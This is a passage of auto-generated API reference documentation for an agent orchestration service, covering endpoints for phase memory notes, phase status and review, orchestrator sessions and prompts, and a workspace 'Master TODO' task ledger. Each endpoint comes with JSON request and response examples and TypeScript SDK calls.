Returns the accumulated memory notes for a single phase. Notes are returned in insertion order, bounded by the phase's memory cap, and are not paginated.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `phaseID` | path | string | Yes | Phase identifier |

#### Response



```json
{
  "phaseID": "phs_01HXYZGHIJKL",
  "notes": [
    {
      "text": "Reuse validation helper from previous round."
    },
    {
      "text": "Auth module needs special container with network access."
    }
  ]
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Phase not found"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `PHASE_NOT_FOUND` | Phase does not exist in this workspace | No phase with the supplied `phaseID` was found in the workspace's materialized state. The phase may have been deleted, or the id belongs to a different workspace. | Call `GET /orchestration/phases` to list valid phase ids, or verify the workspace id in the URL. |




#### SDK usage

```typescript
const memory = await client.agent.orchestration.phasesListMemory({
  workspaceID: "ws_01HXYZABCDEF",
  phaseID: "phs_01HXYZGHIJKL",
});
```

---

### `POST /api/v1/workspaces/{workspaceID}/orchestration/phases/{phaseID}/memory`

Adds a note to the phase's memory. Notes persist across rounds and are readable by all agents working on the phase.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `phaseID` | path | string | Yes | Phase identifier |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `text` | string | Yes | Note text. 1–10,000 characters. |

```json
{
  "text": "Auth module needs a special container with outbound network access for OAuth callbacks."
}
```

#### Response



```json
{
  "added": true,
  "phaseID": "phs_01HXYZGHIJKL"
}
```



#### SDK usage

```typescript
await client.agent.orchestration.phasesAddMemory({
  workspaceID: "ws_01HXYZABCDEF",
  phaseID: "phs_01HXYZGHIJKL",
  data: {
    text: "Auth module needs a special container with outbound network access for OAuth callbacks.",
  },
});
```

---

### `DELETE /api/v1/workspaces/{workspaceID}/orchestration/phases/{phaseID}/memory`

Clears all memory notes for a phase.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `phaseID` | path | string | Yes | Phase identifier |

#### Response



```json
{
  "cleared": true,
  "phaseID": "phs_01HXYZGHIJKL"
}
```



#### SDK usage

```typescript
await client.agent.orchestration.phasesClearMemory({
  workspaceID: "ws_01HXYZABCDEF",
  phaseID: "phs_01HXYZGHIJKL",
});
```

---

## Phase Lifecycle

### `GET /api/v1/workspaces/{workspaceID}/orchestration/phases/{phaseID}/summary`

Returns a condensed summary of the phase's progress, useful for UIs and status checks without pulling the full entry list.

#### Parameters



| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | workspaceID path parameter |
| `phaseID` | path | string | Yes | phaseID path parameter |


#### Response



```json
{
  "phaseID": "phs_01HXYZGHIJKL",
  "name": "Implement core API endpoints",
  "status": "active",
  "phase_rounds": 8,
  "rounds_used": 3,
  "entries_total": 7,
  "entries_done": 4,
  "memory_note_count": 2
}
```



#### SDK usage

```typescript
const summary = await client.agent.orchestration.phasesGetSummary({
  workspaceID: "ws_01HXYZABCDEF",
  phaseID: "phs_01HXYZGHIJKL",
});
```

---

### `POST /api/v1/workspaces/{workspaceID}/orchestration/phases/{phaseID}/review`

Manually triggers a review pass for the phase. The orchestrator inspects current round output and either approves progress or schedules a fix round.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `phaseID` | path | string | Yes | Phase identifier |

#### Response



```json
{
  "phaseID": "phs_01HXYZGHIJKL",
  "review": "triggered"
}
```


```json
{
  "success": false,
  "data": {},
  "errors": [
    {
      "message": "Phase has no entries to review"
    }
  ]
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Phase not found"
  }
}
```


```json
{
  "error": "A review is already in progress for this phase",
  "code": "session_busy"
}
```



#### SDK usage

```typescript
await client.agent.orchestration.phasesReview({
  workspaceID: "ws_01HXYZABCDEF",
  phaseID: "phs_01HXYZGHIJKL",
});
```

---

### `POST /api/v1/workspaces/{workspaceID}/orchestration/phases/{phaseID}/verify`

Manually triggers a verification pass for the phase. Verification checks that all phase entries satisfy their acceptance criteria before the phase can be marked `done`.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `phaseID` | path | string | Yes | Phase identifier |

#### Response



```json
{
  "phaseID": "phs_01HXYZGHIJKL",
  "verification": "triggered"
}
```



#### SDK usage

```typescript
await client.agent.orchestration.phasesVerify({
  workspaceID: "ws_01HXYZABCDEF",
  phaseID: "phs_01HXYZGHIJKL",
});
```

---

### `PATCH /api/v1/workspaces/{workspaceID}/orchestration/phases/{phaseID}/rounds`

Updates the rounds budget for a phase. The budget caps the total number of execution rounds before the phase must transition to `done` or `failed`.

#### Parameters



| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | workspaceID path parameter |
| `phaseID` | path | string | Yes | phaseID path parameter |


#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `phase_rounds` | integer | Yes | New rounds budget (minimum 1, maximum 9007199254740991) |

```json
{
  "phase_rounds": 12
}
```

#### Response



```json
{
  "id": "phs_01HXYZGHIJKL",
  "phase_rounds": 12
}
```



#### SDK usage

```typescript
await client.agent.orchestration.phasesUpdateRounds({
  workspaceID: "ws_01HXYZABCDEF",
  phaseID: "phs_01HXYZGHIJKL",
  data: {
    phase_rounds: 12,
  },
});
```

---

### `PATCH /api/v1/workspaces/{workspaceID}/orchestration/phases/{phaseID}/status`

Manually updates a phase's status. The state machine allows only the documented transitions; arbitrary values are rejected.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `phaseID` | path | string | Yes | Phase identifier |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `status` | string | Yes | New status. One of: `pending`, `active`, `verifying`, `fixing`, `done`, `failed` |

```json
{
  "status": "active"
}
```

#### Response



```json
{
  "id": "phs_01HXYZGHIJKL",
  "status": "active"
}
```



#### SDK usage

```typescript
await client.agent.orchestration.phasesUpdateStatus({
  workspaceID: "ws_01HXYZABCDEF",
  phaseID: "phs_01HXYZGHIJKL",
  data: {
    status: "active",
  },
});
```

---

## Orchestrator Sessions

The workspace has one top-level **planning** session and one session per phase. The planning session coordinates across phases; phase sessions are resumed by agents as rounds progress.

### `GET /api/v1/workspaces/{workspaceID}/orchestration/orchestrator/session`

Returns the top-level planning orchestrator session state, or `null` if no planning session exists yet.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |

#### Response



```json
{
  "session": {
    "id": "orc_01HXYZPLANNER",
    "active": true
  }
}
```



#### SDK usage

```typescript
const result = await client.agent.orchestration.orchestratorGetSession({
  workspaceID: "ws_01HXYZABCDEF",
});
```

---

### `POST /api/v1/workspaces/{workspaceID}/orchestration/orchestrator/session`

Creates a new top-level planning orchestrator session, or resumes the existing one if one is already active.

#### Parameters



| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | workspaceID path parameter |


#### Response



```json
{
  "sessionID": "orc_01HXYZPLANNER"
}
```



#### SDK usage

```typescript
const result = await client.agent.orchestration.orchestratorCreateSession({
  workspaceID: "ws_01HXYZABCDEF",
});
```

---

### `GET /api/v1/workspaces/{workspaceID}/orchestration/orchestrator/sessions`

Returns every orchestrator session currently tracked for the workspace: the top-level planning session plus one session per phase. Used by the UI to render the orchestrator tree and by agents to resume work against an existing session id. The count is bounded by the number of phases (typically &lt; 20); the endpoint is not paginated.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |

#### Response



```json
{
  "sessions": [
    {
      "id": "orc_01HXYZPLANNER",
      "kind": "planning",
      "active": true
    },
    {
      "id": "orc_01HXYZPHASE001",
      "kind": "phase",
      "phaseID": "phs_01HXYZABCDEF",
      "active": false
    },
    {
      "id": "orc_01HXYZPHASE002",
      "kind": "phase",
      "phaseID": "phs_01HXYZGHIJKL",
      "active": true
    }
  ]
}
```



#### SDK usage

```typescript
const result = await client.agent.orchestration.orchestratorListSessions({
  workspaceID: "ws_01HXYZABCDEF",
});
```

---

## Phase Orchestrator Session

### `GET /api/v1/workspaces/{workspaceID}/orchestration/orchestrator/phases/{phaseID}/session`

Returns the orchestrator session info for a single phase. Agents use the session id to resume execution against the phase's running orchestrator state.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `phaseID` | path | string | Yes | Phase identifier |

#### Response



```json
{
  "phaseID": "phs_01HXYZGHIJKL",
  "session": {
    "id": "orc_01HXYZPHASE002",
    "active": true
  }
}
```



#### SDK usage

```typescript
const result = await client.agent.orchestration.orchestratorGetPhaseSession({
  workspaceID: "ws_01HXYZABCDEF",
  phaseID: "phs_01HXYZGHIJKL",
});
```

---

## Orchestrator Prompts

### `POST /api/v1/workspaces/{workspaceID}/orchestration/orchestrator/prompt`

Sends a prompt to the top-level planning orchestrator. `@todo` mentions inside the prompt text are resolved against the workspace's master todo before the message is delivered.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `text` | string | Yes | Prompt text. 1–50,000 characters. |

```json
{
  "text": "Prioritize @todo[ent_01HXYZENTRY03] before scaffolding the auth module."
}
```

#### Response



```json
{
  "sent": true,
  "sessionID": "orc_01HXYZPLANNER"
}
```



#### SDK usage

```typescript
const result = await client.agent.orchestration.orchestratorSendPrompt({
  workspaceID: "ws_01HXYZABCDEF",
  data: {
    text: "Prioritize @todo[ent_01HXYZENTRY03] before scaffolding the auth module.",
  },
});
```

---

### `POST /api/v1/workspaces/{workspaceID}/orchestration/orchestrator/phases/{phaseID}/prompt`

Sends a prompt to the orchestrator session driving a specific phase. Use this to inject directives, clarifications, or course-corrections directly into the phase's running context.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `phaseID` | path | string | Yes | Phase identifier |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `text` | string | Yes | Prompt text. 1–50,000 characters. |

```json
{
  "text": "Reuse the validation helper from the previous round — do not redefine it."
}
```

#### Response



```json
{
  "sent": true,
  "sessionID": "orc_01HXYZPHASE002"
}
```



#### SDK usage

```typescript
const result = await client.agent.orchestration.orchestratorPromptPhase({
  workspaceID: "ws_01HXYZABCDEF",
  phaseID: "phs_01HXYZGHIJKL",
  data: {
    text: "Reuse the validation helper from the previous round — do not redefine it.",
  },
});
```


Phase prompts are delivered into the running session and persist in its context. For ephemeral hints that should not survive across rounds, consider adding a memory note with `phasesAddMemory` instead.

---

# Orchestration: Master TODO

**Page:** api/agent/orchestration/todo

[Download Raw Markdown](./api/agent/orchestration/todo.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Master TODO

The Master TODO is the central, workspace-scoped ledger of work items that the Hoody agent orchestrator schedules, tracks, and reflects on. Each entry has a lifecycle status, a priority, dependency edges, budgeted spend and rounds, an optional spec, and a `phase_id` that ties it to a phase. Use these endpoints to read the full state, append new entries, and mutate individual fields such as status, priority, rounds, and specs.

## Read

### Read full Master TODO state

`GET /api/v1/workspaces/{workspaceID}/orchestration/todo`

Returns the fully materialized Master TODO, including all entries and phases for the workspace.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |

#### Response



```json
{
  "id": "todo_01HMZ7K8XQF8RN2C9WXPEYJSVA",
  "version": 42,
  "created_at": 1717691342000,
  "project_context": "Build a TypeScript SDK for the Hoody public API with full test coverage.",
  "entries": [
    {
      "id": "entry_01HMZ7K9BQPJ3Y5T6H2SNQR4XZ",
      "seq": 1,
      "type": "task",
      "content": "Generate OpenAPI client scaffolding",
      "spec": {
        "requirements": "Produce a typed client covering auth, workspaces, and agent endpoints.",
        "acceptance_criteria": [
          "Client compiles with tsc --noEmit",
          "Every endpoint exposed by the public spec is wrapped"
        ],
        "files_to_create": ["src/client.ts", "src/types.ts"],
        "files_to_modify": ["package.json"],
        "patterns": "Use the existing fetch-based HttpClient wrapper.",
        "api_contract": "All public types must match the OpenAPI schema byte-for-byte.",
        "examples": "See /examples/auth.ts for a runnable smoke test.",
        "integration_points": "Publishes through @hoody/sdk.",
        "authored_by": "specs-agent",
        "last_edited": 1717691300000,
        "revision": 4
      },
      "spec_frozen": false,
      "status": "in_progress",
      "priority": "high",
      "depends_on": [],
      "children": [],
      "parallelizable": true,
      "parallel_group": "scaffold",
      "budget_usd": 25,
      "spent_usd": 4.2,
      "budget_rounds": 5,
      "rounds_completed": 1,
      "created_by": "user",
      "assigned_to": "session_01HMZ7K0YQB4ET7JVM9F2D8N3P",
      "session_ids": ["session_01HMZ7K0YQB4ET7JVM9F2D8N3P"],
      "verified": false,
      "phase_id": "phase_01HMZ7KAB9C3R5V7T8DXQW2YN4"
    }
  ],
  "phases": [
    {
      "id": "phase_01HMZ7KAB9C3R5V7T8DXQW2YN4",
      "seq": 1,
      "name": "Scaffolding",
      "description": "Generate the initial client and project files.",
      "status": "active",
      "entry_ids": ["entry_01HMZ7K9BQPJ3Y5T6H2SNQR4XZ"],
      "fixer_entry_ids": [],
      "session_ids": ["session_01HMZ7K0YQB4ET7JVM9F2D8N3P"],
      "phase_rounds": 3,
      "phase_rounds_completed": 1,
      "created_at": 1717691000000,
      "updated_at": 1717691400000,
      "summary": "Scaffolding underway.",
      "memory": [
        {
          "text": "Switched to fetch-based client wrapper after benchmarking.",
          "created_at": 1717691250000
        }
      ]
    }
  ]
}
```



#### SDK

```ts
const todo = await client.agent.orchestration.todoRead({
  workspaceID: "ws_01HMZ7J2H3D9R5C8PWTY6QNBVE",
});
```

### Get a single Master TODO entry

`GET /api/v1/workspaces/{workspaceID}/orchestration/todo/entries/{entryID}`

Fetches a single entry by ID.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `entryID` | path | string | Yes | Master TODO entry identifier |

#### Response



```json
{
  "entry": {
    "id": "entry_01HMZ7K9BQPJ3Y5T6H2SNQR4XZ",
    "seq": 1,
    "type": "task",
    "content": "Generate OpenAPI client scaffolding",
    "spec": {
      "requirements": "Produce a typed client covering auth, workspaces, and agent endpoints.",
      "acceptance_criteria": [
        "Client compiles with tsc --noEmit"
      ],
      "authored_by": "specs-agent",
      "last_edited": 1717691300000,
      "revision": 4
    },
    "spec_frozen": false,
    "status": "in_progress",
    "priority": "high",
    "depends_on": [],
    "parallelizable": true,
    "spent_usd": 4.2,
    "budget_rounds": 5,
    "rounds_completed": 1,
    "created_by": "user",
    "session_ids": ["session_01HMZ7K0YQB4ET7JVM9F2D8N3P"]
  }
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Entry entry_01HMZ7K9BQPJ3Y5T6H2SNQR4XZ not found in workspace ws_01HMZ7J2H3D9R5C8PWTY6QNBVE."
  }
}
```



#### SDK

```ts
const { entry } = await client.agent.orchestration.todoGetEntry({
  workspaceID: "ws_01HMZ7J2H3D9R5C8PWTY6QNBVE",
  entryID: "entry_01HMZ7K9BQPJ3Y5T6H2SNQR4XZ",
});
```

### Read entry spec

`GET /api/v1/workspaces/{workspaceID}/orchestration/todo/entries/{entryID}/spec`

Returns the structured spec attached to an entry, or `null` if no spec has been authored.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `entryID` | path | string | Yes | Master TODO entry identifier |

#### Response



```json
{
  "spec": {
    "requirements": "Produce a typed client covering auth, workspaces, and agent endpoints.",
    "acceptance_criteria": [
      "Client compiles with tsc --noEmit",
      "Every endpoint exposed by the public spec is wrapped"
    ],
    "files_to_create": ["src/client.ts", "src/types.ts"],
    "files_to_modify": ["package.json"],
    "patterns": "Use the existing fetch-based HttpClient wrapper.",
    "api_contract": "All public types must match the OpenAPI schema byte-for-byte.",
    "examples": "See /examples/auth.ts for a runnable smoke test.",
    "integration_points": "Publishes through @hoody/sdk.",
    "authored_by": "specs-agent",
    "last_edited": 1717691300000,
    "revision": 4
  }
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Entry entry_01HMZ7K9BQPJ3Y5T6H2SNQR4XZ not found in workspace ws_01HMZ7J2H3D9R5C8PWTY6QNBVE."
  }
}
```



#### SDK

```ts
const { spec } = await client.agent.orchestration.todoReadSpec({
  workspaceID: "ws_01HMZ7J2H3D9R5C8PWTY6QNBVE",
  entryID: "entry_01HMZ7K9BQPJ3Y5T6H2SNQR4XZ",
});
```

### Read Master TODO event log

`GET /api/v1/workspaces/{workspaceID}/orchestration/todo/events`

Returns a paginated append-only event log covering every mutation to the Master TODO (entries, statuses, specs, phases, and more).

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `page` | query | integer | No | Page number. Default: `1` |
| `limit` | query | integer | No | Items per page. Default: `50` |

#### Response



```json
{
  "items": [
    {
      "id": "evt_01HMZ7KAC8T7X5Z9Q2V1BHPRM3",
      "seq": 128,
      "type": "status_changed",
      "payload": {
        "entryID": "entry_01HMZ7K9BQPJ3Y5T6H2SNQR4XZ",
        "from": "pending",
        "to": "in_progress"
      },
      "timestamp": 1717691380000,
      "actor": "session_01HMZ7K0YQB4ET7JVM9F2D8N3P"
    },
    {
      "id": "evt_01HMZ7K9B4YJ2K6L0N1XDPQ5S7",
      "seq": 127,
      "type": "entry_created",
      "payload": {
        "entryID": "entry_01HMZ7K9BQPJ3Y5T6H2SNQR4XZ",
        "type": "task",
        "priority": "high"
      },
      "timestamp": 1717691342000,
      "actor": "user"
    }
  ],
  "meta": {
    "page": 1,
    "limit": 50,
    "total": 128,
    "pages": 3
  }
}
```



#### SDK

```ts
const events = await client.agent.orchestration.todoGetEvents({
  workspaceID: "ws_01HMZ7J2H3D9R5C8PWTY6QNBVE",
  page: 1,
  limit: 50,
});
```

## Modify

### Append entries to Master TODO

`POST /api/v1/workspaces/{workspaceID}/orchestration/todo/entries`

Appends one or more new entries to the Master TODO. Each entry must declare a `type`, `content`, and `priority`. An optional `spec` may be supplied to seed the entry with requirements and acceptance criteria.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `entries` | array | Yes | Entries to append. Each item requires `type`, `content`, and `priority`. |

Each entry item supports:

- `type` — one of `"task"`, `"correction"`, `"review"`, `"snapshot"`, `"note"`, `"parent"`
- `content` — human-readable description
- `spec` — optional `object` with `requirements` (required), `acceptance_criteria` (required, array of strings), and optional `files_to_create`, `files_to_modify`, `patterns`, `api_contract`, `examples`, `integration_points`
- `priority` — one of `"critical"`, `"high"`, `"medium"`, `"low"`
- `depends_on` — array of entry IDs; defaults to `[]`
- `parallelizable` — boolean; defaults to `true`
- `parallel_group` — string label grouping parallel-safe entries
- `budget_usd` — optional per-entry spend cap
- `budget_rounds` — integer; defaults to `3`
- `phase_id` — optional phase binding
- `container_id` — optional container binding

```json
{
  "entries": [
    {
      "type": "task",
      "content": "Implement POST /api/v1/auth/login",
      "priority": "high",
      "spec": {
        "requirements": "Accept JSON { email, password } and return a signed session token.",
        "acceptance_criteria": [
          "Valid credentials return 200 with a token",
          "Invalid credentials return 401 with an error code"
        ],
        "files_to_create": ["src/routes/auth/login.ts"],
        "files_to_modify": ["src/routes/auth/index.ts"]
      },
      "depends_on": [],
      "parallelizable": true,
      "budget_usd": 10,
      "budget_rounds": 4
    }
  ]
}
```

#### Response



```json
{
  "added": [
    "entry_01HMZ7K9BQPJ3Y5T6H2SNQR4XZ"
  ],
  "count": 1
}
```


```json
{
  "data": null,
  "errors": [
    {
      "field": "entries[0].priority",
      "message": "priority must be one of: critical, high, medium, low"
    }
  ],
  "success": false
}
```



#### SDK

```ts
const result = await client.agent.orchestration.todoAppend({
  workspaceID: "ws_01HMZ7J2H3D9R5C8PWTY6QNBVE",
  data: {
    entries: [
      {
        type: "task",
        content: "Implement POST /api/v1/auth/login",
        priority: "high",
        spec: {
          requirements: "Accept JSON { email, password } and return a signed session token.",
          acceptance_criteria: [
            "Valid credentials return 200 with a token",
            "Invalid credentials return 401 with an error code"
          ],
          files_to_create: ["src/routes/auth/login.ts"],
          files_to_modify: ["src/routes/auth/index.ts"]
        },
        budget_rounds: 4
      }
    ]
  }
});
```

### Update entry spec

`PUT /api/v1/workspaces/{workspaceID}/orchestration/todo/entries/{entryID}/spec`

Replaces the spec attached to an entry and increments its `revision`. The entry must not be frozen.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `entryID` | path | string | Yes | Master TODO entry identifier |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `requirements` | string | Yes | Free-form requirements text |
| `acceptance_criteria` | array | Yes | Array of strings describing acceptance criteria |
| `files_to_create` | array | No | Array of file paths to create |
| `files_to_modify` | array | No | Array of file paths to modify |
| `patterns` | string | No | Patterns or conventions to follow |
| `api_contract` | string | No | API contract details |
| `examples` | string | No | Example usage or references |
| `integration_points` | string | No | Notes on how the entry integrates with surrounding work |

```json
{
  "requirements": "Accept JSON { email, password } and return a signed session token; throttle by IP.",
  "acceptance_criteria": [
    "Valid credentials return 200 with a token",
    "Invalid credentials return 401 with an error code",
    "More than 10 attempts/minute from one IP returns 429"
  ],
  "files_to_create": ["src/routes/auth/login.ts"],
  "files_to_modify": ["src/routes/auth/index.ts", "src/middleware/rate-limit.ts"],
  "patterns": "Use the existing HttpError helper for error responses."
}
```

#### Response



```json
{
  "entryID": "entry_01HMZ7K9BQPJ3Y5T6H2SNQR4XZ",
  "revision": 5
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Entry entry_01HMZ7K9BQPJ3Y5T6H2SNQR4XZ not found in workspace ws_01HMZ7J2H3D9R5C8PWTY6QNBVE."
  }
}
```


```json
{
  "error": "Spec is frozen; further edits are not permitted.",
  "code": "spec_frozen"
}
```



#### SDK

```ts
const result = await client.agent.orchestration.todoUpdateSpec({
  workspaceID: "ws_01HMZ7J2H3D9R5C8PWTY6QNBVE",
  entryID: "entry_01HMZ7K9BQPJ3Y5T6H2SNQR4XZ",
  data: {
    requirements: "Accept JSON { email, password } and return a signed session token; throttle by IP.",
    acceptance_criteria: [
      "Valid credentials return 200 with a token",
      "Invalid credentials return 401 with an error code"
    ]
  }
});
```

### Freeze entry spec

`POST /api/v1/workspaces/{workspaceID}/orchestration/todo/entries/{entryID}/spec/freeze`

Locks an entry's spec so that subsequent update attempts are rejected with `409`. Use this to commit a spec before the implementation sessions begin.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `entryID` | path | string | Yes | Master TODO entry identifier |

#### Response



```json
{
  "entryID": "entry_01HMZ7K9BQPJ3Y5T6H2SNQR4XZ",
  "frozen": true
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Entry entry_01HMZ7K9BQPJ3Y5T6H2SNQR4XZ not found in workspace ws_01HMZ7J2H3D9R5C8PWTY6QNBVE."
  }
}
```



#### SDK

```ts
const result = await client.agent.orchestration.todoFreezeSpec({
  workspaceID: "ws_01HMZ7J2H3D9R5C8PWTY6QNBVE",
  entryID: "entry_01HMZ7K9BQPJ3Y5T6H2SNQR4XZ",
});
```

### Update entry priority

`PATCH /api/v1/workspaces/{workspaceID}/orchestration/todo/entries/{entryID}/priority`

Re-orders an entry by changing its priority tier. The response includes the previous value so callers can audit the change.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `entryID` | path | string | Yes | Master TODO entry identifier |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `priority` | string | Yes | One of `"critical"`, `"high"`, `"medium"`, `"low"` |

```json
{
  "priority": "critical"
}
```

#### Response



```json
{
  "entryID": "entry_01HMZ7K9BQPJ3Y5T6H2SNQR4XZ",
  "priority": "critical",
  "previous": "high"
}
```


```json
{
  "data": null,
  "errors": [
    {
      "field": "priority",
      "message": "priority must be one of: critical, high, medium, low"
    }
  ],
  "success": false
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Entry entry_01HMZ7K9BQPJ3Y5T6H2SNQR4XZ not found in workspace ws_01HMZ7J2H3D9R5C8PWTY6QNBVE."
  }
}
```



#### SDK

```ts
const result = await client.agent.orchestration.todoSetPriority({
  workspaceID: "ws_01HMZ7J2H3D9R5C8PWTY6QNBVE",
  entryID: "entry_01HMZ7K9BQPJ3Y5T6H2SNQR4XZ",
  data: { priority: "critical" },
});
```

### Set entry budget rounds

`PATCH /api/v1/workspaces/{workspaceID}/orchestration/todo/entries/{entryID}/rounds`

Sets `budget_rounds` for an entry — the maximum number of execution rounds the orchestrator will attempt before giving up. The value must be between `1` and `50` inclusive.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `entryID` | path | string | Yes | Master TODO entry identifier |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `budget_rounds` | integer | Yes | Maximum number of execution rounds. Range: `1` to `50`. |

```json
{
  "budget_rounds": 8
}
```

#### Response



```json
{
  "entryID": "entry_01HMZ7K9BQPJ3Y5T6H2SNQR4XZ",
  "budget_rounds": 8
}
```


```json
{
  "data": null,
  "errors": [
    {
      "field": "budget_rounds",
      "message": "budget_rounds must be between 1 and 50"
    }
  ],
  "success": false
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Entry entry_01HMZ7K9BQPJ3Y5T6H2SNQR4XZ not found in workspace ws_01HMZ7J2H3D9R5C8PWTY6QNBVE."
  }
}
```



#### SDK

```ts
const result = await client.agent.orchestration.todoSetRounds({
  workspaceID: "ws_01HMZ7J2H3D9R5C8PWTY6QNBVE",
  entryID: "entry_01HMZ7K9BQPJ3Y5T6H2SNQR4XZ",
  data: { budget_rounds: 8 },
});
```

### Update entry status

`PATCH /api/v1/workspaces/{workspaceID}/orchestration/todo/entries/{entryID}/status`

Transitions an entry to a new status and optionally attaches a handoff note and a list of mistakes learned for future sessions. `context_for_next` is capped at 2000 characters.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `entryID` | path | string | Yes | Master TODO entry identifier |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `status` | string | Yes | One of `"pending"`, `"blocked"`, `"in_progress"`, `"done"`, `"failed"`, `"skipped"`, `"superseded"` |
| `context_for_next` | string | No | Handoff note for the next session. Maximum 2000 characters. |
| `mistakes_learned` | array | No | Array of strings describing mistakes the next session should avoid. |

```json
{
  "status": "done",
  "context_for_next": "Login route implemented; rate limiter wired in via src/middleware/rate-limit.ts.",
  "mistakes_learned": [
    "Don't sha256 the password in the route handler — use the auth service."
  ]
}
```

#### Response



```json
{
  "entryID": "entry_01HMZ7K9BQPJ3Y5T6H2SNQR4XZ",
  "status": "done",
  "previous": "in_progress"
}
```


```json
{
  "data": null,
  "errors": [
    {
      "field": "status",
      "message": "status must be one of: pending, blocked, in_progress, done, failed, skipped, superseded"
    }
  ],
  "success": false
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Entry entry_01HMZ7K9BQPJ3Y5T6H2SNQR4XZ not found in workspace ws_01HMZ7J2H3D9R5C8PWTY6QNBVE."
  }
}
```



#### SDK

```ts
const result = await client.agent.orchestration.todoSetStatus({
  workspaceID: "ws_01HMZ7J2H3D9R5C8PWTY6QNBVE",
  entryID: "entry_01HMZ7K9BQPJ3Y5T6H2SNQR4XZ",
  data: {
    status: "done",
    context_for_next: "Login route implemented; rate limiter wired in via src/middleware/rate-limit.ts.",
    mistakes_learned: [
      "Don't sha256 the password in the route handler — use the auth service."
    ]
  },
});
```

### Delete a task entry

`DELETE /api/v1/workspaces/{workspaceID}/orchestration/todo/entries/{entryID}`

Removes an entry from the Master TODO. Returns `409` if the entry cannot be safely deleted in its current state (for example, when it is referenced as a dependency by other in-flight entries).

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `entryID` | path | string | Yes | Master TODO entry identifier |

#### Response



```json
{
  "deleted": true,
  "entryID": "entry_01HMZ7K9BQPJ3Y5T6H2SNQR4XZ"
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Entry entry_01HMZ7K9BQPJ3Y5T6H2SNQR4XZ not found in workspace ws_01HMZ7J2H3D9R5C8PWTY6QNBVE."
  }
}
```


```json
{
  "error": "Entry is referenced as a dependency by in-flight entries and cannot be deleted.",
  "code": "entry_has_dependents"
}
```



#### SDK

```ts
const result = await client.agent.orchestration.todoDeleteEntry({
  workspaceID: "ws_01HMZ7J2H3D9R5C8PWTY6QNBVE",
  entryID: "entry_01HMZ7K9BQPJ3Y5T6H2SNQR4XZ",
});
```

---

